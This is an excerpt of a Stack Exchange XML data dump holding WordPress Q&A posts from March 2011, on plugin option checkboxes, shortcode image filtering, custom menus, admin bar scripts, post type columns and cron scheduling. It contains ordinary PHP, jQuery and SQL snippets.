  <row Id="11614" PostTypeId="2" ParentId="11611" CreationDate="2011-03-09T21:46:07.913" Score="2" ViewCount="" Body="&lt;p&gt;Looks like you'll want to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_users&quot; rel=&quot;nofollow&quot;&gt;get_users&lt;/a&gt; and you might want to take a look at the source code behind &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/author-template.php#L271&quot; rel=&quot;nofollow&quot;&gt;wp_list_authors&lt;/a&gt; to info on how to use it.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-09T21:46:07.913" CommentCount="1" />
  <row Id="11615" PostTypeId="1" CreationDate="2011-03-09T21:50:37.870" Score="0" ViewCount="210" Body="&lt;p&gt;Actually I want to include a file if the checkbox is checked &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$checked = get_option('automatic') ? &quot;checked='checked'&quot; : &quot;&quot;;&#xA;echo &quot;&amp;lt;input type='checkbox' name='automatic' $checked /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&#xA;if(get_option('automatic') == 'checked')) ( require_once 'myfile.php'; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This form is in a plugin option page&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-09T21:52:36.457" LastActivityDate="2011-03-10T02:26:37.370" Title="How to verify this checkbox is checked?" Tags="&lt;options&gt;&lt;form&gt;" AnswerCount="4" />
  <row Id="11616" PostTypeId="2" ParentId="11607" CreationDate="2011-03-09T21:54:57.070" Score="0" ViewCount="" Body="&lt;p&gt;resave permalink do the job for me&lt;/p&gt;&#xA;" OwnerUserId="3615" LastActivityDate="2011-03-09T21:54:57.070" CommentCount="1" />
  <row Id="11617" PostTypeId="2" ParentId="11615" CreationDate="2011-03-09T21:56:15.227" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo &quot;&amp;lt;input type='checkbox' name='automatic' value='1' &quot;.checked(1, get_option('automatic')).&quot; /&amp;gt;&quot;;&#xA;&#xA;if (get_option('automatic') === '1') { require_once 'myfile.php'; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2011-03-09T21:56:15.227" CommentCount="4" />
  <row Id="11618" PostTypeId="1" AcceptedAnswerId="11622" CreationDate="2011-03-09T22:02:09.480" Score="0" ViewCount="186" Body="&lt;p&gt;I'm looking for something, but don't exactly know what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a shortcode, let's call it [shortcode].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users will input HTML tags inside, mostly images, but also links, images in links, etc., for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[shortcode]&#xA;&amp;lt;img src=&quot;http://www.site.com/myimage.jpg&quot; /&amp;gt;&#xA;&amp;lt;a href=&quot;http://www.blabla.com&quot;&amp;gt;&amp;lt;img src=&quot;http://www.site.com/myimage2.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;(...)&#xA;[/shortcode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point is I want to format URLs, differently, I want every img src to start with files/myimagescript?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the code above should output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--- shortcode code before input --&amp;gt;&#xA;&amp;lt;img src=&quot;files/myimagescript?http://www.site.com/myimage.jpg&quot; /&amp;gt;&#xA;    &amp;lt;a href=&quot;http://www.blabla.com&quot;&amp;gt;&amp;lt;img src=&quot;files/myimagescript?http://www.site.com/myimage2.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    (...)&#xA;&amp;lt;!-- shortcode code after input --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically I need to simply change src of images. And it should work for any number of images, from 1 to unlimited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking about foreach PHP loop, but I'm not sure how to grab each img src line from shortcode and process it before displaying?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-09T22:34:32.963" Title="Shortcode content filter?" Tags="&lt;php&gt;&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11619" PostTypeId="1" AcceptedAnswerId="11621" CreationDate="2011-03-09T22:15:20.700" Score="0" ViewCount="62" Body="&lt;p&gt;I've taken this line from header.php of TwentyTen where its loading the custom menus...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Our navigation menu.  &#xA;If one isn't filled out, wp_nav_menu falls back to wp_page_menu.  &#xA;The menu assiged to the primary position is the one used.  &#xA;If none is assigned, the menu with the lowest ID is used.  */ ?&amp;gt;&#xA;&amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand their fallback plan, but for mine, if no custom menu has been assigned to my custom menu selector, I don't want to return anything. What's the function to determine if my custom menu has an assigned menu?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-10T00:54:05.277" Title="if (has_custom_menu())?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="11620" PostTypeId="2" ParentId="11615" CreationDate="2011-03-09T22:16:32.130" Score="0" ViewCount="" Body="&lt;p&gt;You may want to check out &lt;a href=&quot;http://www.homeandlearn.co.uk/php/php4p11.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$checked = get_option( 'automatic' ) ? 'checked=&quot;checked&quot;' : '';&#xA;echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;automatic&quot; value=&quot;automatic&quot; ' . $checked . '/&amp;gt;';&#xA;&#xA;// verify form submission (use nonces: wp_verify_nonce)&#xA;&#xA;if ( isset( $_POST['automatic'] ) AND $_POST['automatic'] === 'automatic' )&#xA;{&#xA;    require_once( 'myfile.php' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-03-09T22:16:32.130" CommentCount="4" />
  <row Id="11621" PostTypeId="2" ParentId="11619" CreationDate="2011-03-09T22:32:12.560" Score="1" ViewCount="" Body="&lt;p&gt;From looking at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu#Parameters&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;, you should be able to just pass the fallback_cb parameter as false to have wp_nav_menu return nothing. So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary', 'fallback_cb' =&amp;gt; FALSE ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-09T22:32:12.560" CommentCount="1" />
  <row Id="11622" PostTypeId="2" ParentId="11618" CreationDate="2011-03-09T22:34:32.963" Score="2" ViewCount="" Body="&lt;p&gt;you can use regex to find your the src and use that to append your &quot;files/myimagescript?&quot; to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function append_myimagescript($attr, $content){ &#xA;    $pattern = '/src=&quot;([^&quot;]*)&quot;/i';&#xA;    $replacement = 'files/myimagescript?${1}';&#xA;    return preg_replace($pattern, $replacement, $content);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T22:34:32.963" CommentCount="5" />
  <row Id="11623" PostTypeId="2" ParentId="11615" CreationDate="2011-03-09T22:42:29.070" Score="1" ViewCount="" Body="&lt;p&gt;Is this what you mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( get_option('automatic') ) {&#xA;&#xA;    // do something here&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/control-structures.if.php&quot; rel=&quot;nofollow&quot;&gt;Surely not&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-09T22:42:29.070" CommentCount="3" />
  <row Id="11624" PostTypeId="2" ParentId="11615" CreationDate="2011-03-09T23:33:26.153" Score="0" ViewCount="" Body="&lt;p&gt;I will not take more if your time. I just need to know why  my function inside the IF statement is not working. If I place it somewher without the IF staememt it work wonderfully  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;echo &quot;&amp;lt;input type='checkbox' name='automatic' value='1' &quot;.checked(1, get_option('automatic')).&quot; /&amp;gt;&quot;;&#xA;&#xA;if (get_option('automatic') === '1') {&#xA;    function wp_automatically_shorcode($content) {&#xA;        ob_start();&#xA;        wp_automatically_functions();&#xA;        $output_string=ob_get_contents();&#xA;        ob_end_clean();&#xA;        return $output_string;&#xA;    }&#xA;    add_shortcode('automatic', 'wp_automatically_shorcode');&#xA;&#xA;    function wp_automatically_functions() {&#xA;        echo 'ACTIVATED';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-03-10T02:26:37.370" LastActivityDate="2011-03-10T02:26:37.370" CommentCount="1" />
  <row Id="11625" PostTypeId="1" AcceptedAnswerId="14375" CreationDate="2011-03-10T00:42:26.283" Score="3" ViewCount="249" Body="&lt;p&gt;I added a menu item to the Admin Bar that executes some Javascript to show debug information. The problem is that clicking this item also reloads the page. How can I prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to speed up my debug &amp;amp; dev stuff and wanted to add a class to my main wrapper div using jQuery.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1:&lt;/h3&gt;  &#xA;&#xA;&lt;p&gt;Add styles to your head&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_bar_script_def( $script ) {&#xA;$script = '&#xA;    jQuery(document).ready( function() {&#xA;        jQuery(&quot;li#wp-admin-bar-showdebug&quot;).click( function() {&#xA;            jQuery(&quot;.wrap&quot;).toggleClass(&quot;showdebug&quot;);&#xA;        } )&#xA;    } );&#xA;';&#xA;&#xA;return print $script;&#xA;}&#xA;add_action( 'wp_head', 'my_admin_bar_script_def', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Step 2:&lt;/h3&gt;  &#xA;&#xA;&lt;p&gt;Add a admin bar menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_bar_class_switch() {&#xA;global $wp_admin_bar;&#xA;&#xA;$wp_admin_bar-&amp;gt;add_menu( &#xA;    array( &#xA;         'parent'   =&amp;gt; 'theme_options'&#xA;        ,'title'    =&amp;gt; __( 'showdebug', TEXTDOMAIN )&#xA;        ,'href'     =&amp;gt; '' // **interesting problem over here**&#xA;    ) &#xA;);&#xA;}&#xA;add_action( 'admin_bar_menu', 'my_admin_bar_class_switch', 70 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Problem:&lt;/h3&gt;  &#xA;&#xA;&lt;p&gt;Every time you trigger your toggle function you'll fire up the link and reload the page. Therefore you'll get the initial trigger again. Replacing the link is not possible, because in the &lt;code&gt;$args&lt;/code&gt; array for the &lt;code&gt;add_menu()&lt;/code&gt; function you only define the &lt;code&gt;href&lt;/code&gt; and the link will be printed anyway. Filters or hooks? Not available.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-20T20:06:56.067" LastActivityDate="2011-04-20T20:06:56.067" Title="Admin Bar menu item that executes Javascript but does not reload the page?" Tags="&lt;javascript&gt;&lt;admin-bar&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="11626" PostTypeId="2" ParentId="11619" CreationDate="2011-03-10T00:54:05.277" Score="0" ViewCount="" Body="&lt;p&gt;You could also take a look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_nav_menu&quot; rel=&quot;nofollow&quot;&gt;has_nav_menu()&lt;/a&gt; conditional tag/function.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-10T00:54:05.277" />
  <row Id="11627" PostTypeId="2" ParentId="11416" CreationDate="2011-03-10T01:02:37.893" Score="1" ViewCount="" Body="&lt;p&gt;actually I fingered it out this code worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//edit below for categories you want excluded&#xA;$exclude = array(&quot;Latest News&quot;, &quot;Uncategorized&quot;);&#xA;//how do you want the list separated? just a space is okay&#xA;$separator = &quot; | &quot;;&#xA;//don't edit below here!&#xA;$new_the_category = '';&#xA;foreach((get_the_category()) as $category) {&#xA;if (!in_array($category-&amp;gt;cat_name, $exclude)) {&#xA;$new_the_category .= '&amp;lt;a href=&quot;'.get_bloginfo(url).'/'.get_option('category_base').'/'.$category-&amp;gt;slug.'&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;lt;/a&amp;gt;'.$separator;&#xA;}&#xA;}&#xA;echo substr($new_the_category, 0, strrpos($new_the_category, $separator));&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-03-10T01:02:37.893" />
  <row Id="11628" PostTypeId="1" AcceptedAnswerId="11631" CreationDate="2011-03-10T01:24:09.103" Score="1" ViewCount="357" Body="&lt;p&gt;I have another dumb question, but I can't get one thing :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this very good article on creating custom post types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how Step 4 works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This guys writes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;manage_posts_custom_column&quot;,  &quot;portfolio_custom_columns&quot;);&#xA;add_filter(&quot;manage_edit-portfolio_columns&quot;, &quot;portfolio_edit_columns&quot;);&#xA;&#xA;function portfolio_edit_columns($columns){&#xA;  $columns = array(&#xA;    &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Portfolio Title&quot;,&#xA;    &quot;description&quot; =&amp;gt; &quot;Description&quot;,&#xA;    &quot;year&quot; =&amp;gt; &quot;Year Completed&quot;,&#xA;    &quot;skills&quot; =&amp;gt; &quot;Skills&quot;,&#xA;  );&#xA;&#xA;  return $columns;&#xA;}&#xA;function portfolio_custom_columns($column){&#xA;  global $post;&#xA;&#xA;  switch ($column) {&#xA;    case &quot;description&quot;:&#xA;      the_excerpt();&#xA;      break;&#xA;    case &quot;year&quot;:&#xA;      $custom = get_post_custom();&#xA;      echo $custom[&quot;year_completed&quot;][0];&#xA;      break;&#xA;    case &quot;skills&quot;:&#xA;      echo get_the_term_list($post-&amp;gt;ID, 'Skills', '', ', ','');&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have two different post types ('books' and 'movies').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I can't get how to link this code with right one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm missing something (most likely in the code), but I didn't see him including &quot;portfolio_edit_columns&quot; anywhere in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this in WP Codex: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&lt;/a&gt; and it seems like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;manage_edit-${post_type}_columns&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;does the magic, but I've tried both manage_edit-books_columns and manage_edit-movies_columns and nothing! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to create two separate column layouts for different post types?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-15T18:45:02.797" Title="Custom Post Type admin section layout - simple question" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;columns&gt;" AnswerCount="2" />
  <row Id="11629" PostTypeId="2" ParentId="11596" CreationDate="2011-03-10T02:01:31.540" Score="2" ViewCount="" Body="&lt;p&gt;In my opinion, one of the most perfect examples (even when content isn't that far spread) is the landing page of &lt;a href=&quot;http://ebiene.de/&quot; rel=&quot;nofollow&quot;&gt;Sergej Müller&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-10T02:01:31.540" />
  <row Id="11630" PostTypeId="2" ParentId="11628" CreationDate="2011-03-10T02:05:05.187" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at how the rewrite $arg for your custom post type is.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a better view of the output data, just do something like   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';   &#xA;print_r($custom_post_type_obj);   &#xA;echo '&amp;lt;/pre&amp;gt;';   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on the post type object when querying it.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-15T18:45:02.797" LastActivityDate="2011-03-15T18:45:02.797" />
  <row Id="11631" PostTypeId="2" ParentId="11628" CreationDate="2011-03-10T02:39:10.570" Score="0" ViewCount="" Body="&lt;p&gt;The code from ThinkVitamin is right. I think the problem came from else where in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the hook &lt;code&gt;manage_edit-${post_type}_columns&lt;/code&gt; takes an argument &lt;code&gt;$columns&lt;/code&gt; which is an array of all registered columns. To add a new column, just add a new element to this array, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_edit-film_columns', 'my_columns');&#xA;function my_columns($columns) {&#xA;    $columns['views'] = 'Views';&#xA;    return $columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/add-custom-column.html&quot; rel=&quot;nofollow&quot;&gt;This post&lt;/a&gt; has more details that might help you.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-10T02:39:10.570" CommentCount="3" />
  <row Id="11632" PostTypeId="1" CreationDate="2011-03-10T02:39:16.190" Score="0" ViewCount="97" Body="&lt;p&gt;I made a related post sidebar widget and im trying to exclude a category from it i tried 'exclude'=&gt;7932 but that doesnt seem to work, is there another way to do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php $category = get_the_category();&#xA;            $parent = get_cat_id($category[0]-&amp;gt;category_parent);&#xA;            $parent = $category[0]-&amp;gt;cat_id; ?&amp;gt;&#xA;            &amp;lt;ul class=&quot;recent-widget-container&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $categories = get_the_category($post-&amp;gt;ID);&#xA;            if ($categories) {&#xA;            $category_ids = array();&#xA;            foreach($categories as $individual_category) $category_ids[] = $individual_category-&amp;gt;term_id;&#xA;            $args=array(&#xA;            'category__in' =&amp;gt; $category_ids,&#xA;            'post__not_in' =&amp;gt; array($post-&amp;gt;ID),&#xA;            'showposts'=&amp;gt;5, // Number of related posts that will be shown.&#xA;            'caller_get_posts'=&amp;gt;1,&#xA;            'exclude'=&amp;gt;7932,&#xA;            );&#xA;&#xA;            $my_query = new wp_query($args);&#xA;            if( $my_query-&amp;gt;have_posts() ) {&#xA;            while ($my_query-&amp;gt;have_posts()) {&#xA;            $my_query-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;            &amp;lt;?php $id = get_the_ID(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php $image_meta = get_post_meta($id,'image',true); ?&amp;gt;&#xA;&#xA;            &amp;lt;li class=&quot;recent-widget-post&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;recent-widget-img&quot;&amp;gt;&#xA;            &amp;lt;?php if ( (isset($image_meta)) &amp;amp;&amp;amp; ($image_meta != '') ) { &#xA;            woo_image('key=image&amp;amp;width=140&amp;amp;height=80');&#xA;            }else{  echo $small_placeholder;}   ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php get_the_excerpt_limit( 75, '...' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;            &#xA;            &amp;lt;?php&#xA;            }&#xA;            }&#xA;            }&#xA;            $post = $orig_post;&#xA;            wp_reset_query();&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-03-11T23:11:48.513" LastActivityDate="2011-08-26T11:35:16.503" Title="Exclude category from related post" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="11633" PostTypeId="2" ParentId="10940" CreationDate="2011-03-10T02:42:41.397" Score="0" ViewCount="" Body="&lt;p&gt;Nevermind I just exported everything from mysql into the wordpress database&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-03-10T02:42:41.397" />
  <row Id="11634" PostTypeId="2" ParentId="4134" CreationDate="2011-03-10T02:56:44.787" Score="1" ViewCount="" Body="&lt;p&gt;I've used FB OpenGraph meta tags (as Jonathan wrote) on one of my websites, and it works, but not always. Sometimes, the thumbnail still is another image on the site. Then I found the &lt;code&gt;link&lt;/code&gt; tag that is working for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;http://www.example.com/images/image.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using both methods now (&lt;code&gt;link&lt;/code&gt; and &lt;code&gt;meta&lt;/code&gt; tags), and the thumbnail shown on FB is always correct!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After implement any methods, you should use &lt;a href=&quot;http://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;this tool&lt;/a&gt; to check it out. If should show correct title, description and thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/689295/how-to-show-particular-image-as-thumbnail-while-implementing-share-on-facebook&quot;&gt;This&lt;/a&gt; is another topic you might interested in.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-10T02:56:44.787" />
  <row Id="11635" PostTypeId="1" CreationDate="2011-03-10T03:12:33.120" Score="0" ViewCount="46" Body="&lt;pre&gt;&lt;code&gt;SELECT user_id FROM wp_comments WHERE user_id&amp;lt;&amp;gt;0 AND comment_approved='spam'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw this somewhere on this site I want to make this as one criteria for hiding specific content to users&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function find_spam_user() {&#xA;    global $wpdb;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    $user_id = $current_user-&amp;gt;ID;  //change this if not in a std post loop&#xA;    $where = 'WHERE where comment_approved=&quot;spam&quot; AND user_id = ' . $user_id ;&#xA;    $comment_count = $wpdb-&amp;gt;get_var(&#xA;        &quot;SELECT COUNT( * ) AS total&#xA;            FROM {$wpdb-&amp;gt;comments}&#xA;            {$where}&#xA;        &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone create for me a conditional statement?&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-03-10T12:13:38.163" LastActivityDate="2011-03-10T12:13:38.163" Title="Check user with comment spam" Tags="&lt;3.0&gt;" />
  <row Id="11636" PostTypeId="1" AcceptedAnswerId="13202" CreationDate="2011-03-10T04:02:14.930" Score="0" ViewCount="183" Body="&lt;p&gt;I am having a unmanaged VPS, where my wordpress site is hosted, I am also using WP-ROBOT 3 plugin for auto posting, I want it to do auto post through cron jobs, &#xA;According to the documentation of the plugin, I entered this code through SSH command &#xA;&lt;code&gt;wget --post-data='mincamp=2&amp;amp;maxcamp=3&amp;amp;chance=50' -O /dev/null &lt;a href=&quot;http://myURL/&quot; rel=&quot;nofollow&quot;&gt;http://myURL/&lt;/a&gt;&lt;/code&gt; and it worked, but I want to set regular intervals, so that it autoposts everyday, how to do that?&#xA;I want it to post after every 6 hours, what should be the cron commands&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-03-28T08:47:22.580" Title="How to set intervals in cron jobs?" Tags="&lt;plugins&gt;&lt;cron&gt;&lt;wp-cron&gt;&lt;ssh&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11637" PostTypeId="1" CreationDate="2011-03-10T04:11:24.237" Score="0" ViewCount="58" Body="&lt;p&gt;I am working on Wordpress - Blogging Application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Wikipedia or Livejournal .. How to allow a registered users in my Web-Blog site to write their blogs or contents ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i need to write any blogs on my site, its simple normal process. But making the blogging site .. little bit of commercial by allowing the users to register and to blog on my site .. is our goal ..!&lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="3490" LastEditorDisplayName="" LastEditDate="2011-03-10T04:18:43.373" LastActivityDate="2011-03-10T04:18:43.373" Title="Wikipedia - CMS" Tags="&lt;3.0.1&gt;&lt;wordpress.com&gt;" CommentCount="2" />
  <row Id="11638" PostTypeId="1" AcceptedAnswerId="11640" CreationDate="2011-03-10T04:42:45.447" Score="0" ViewCount="88" Body="&lt;p&gt;I'm just beginning to work the &quot;Custom Menu&quot; functionality that was introduced in 3.0 into my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like everything about this new capability and API, with one exception: Why no posts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create menus containing pages, categories, even tags, but where is the posts selector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use the &quot;Custom Links&quot; tool as a workaround, by pasting in the URL to a given post, but I'd rather not expect my users to do that without creating a ton of support issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rather just add a menu box called &quot;Posts&quot; that has the same functionality as &quot;Pages&quot;. Has anyone done this and if so can you share the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, and I know I'm dreaming on this one, what about a single box with tabs for selecting between pages and posts?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-10T05:38:27.787" Title="How to add posts to custom menus?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11639" PostTypeId="2" ParentId="11503" CreationDate="2011-03-10T05:04:01.807" Score="1" ViewCount="" Body="&lt;p&gt;If you can use a plugin, Take a look at the Smooth Slider plugin.  It is very good with the ability to add content and/or photos. You can reorder them, and it allows you to use custom post types, pages or posts. It has a lot of customization and using your owns stylesheet you can style it quite well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see two different uses of my sites here. Www.nrined,com and www.wcpowersolutions.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another great one is a premium one from codecanyon.net it's called uBillboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, Larry&lt;/p&gt;&#xA;" OwnerUserId="3836" LastActivityDate="2011-03-10T05:04:01.807" CommentCount="3" />
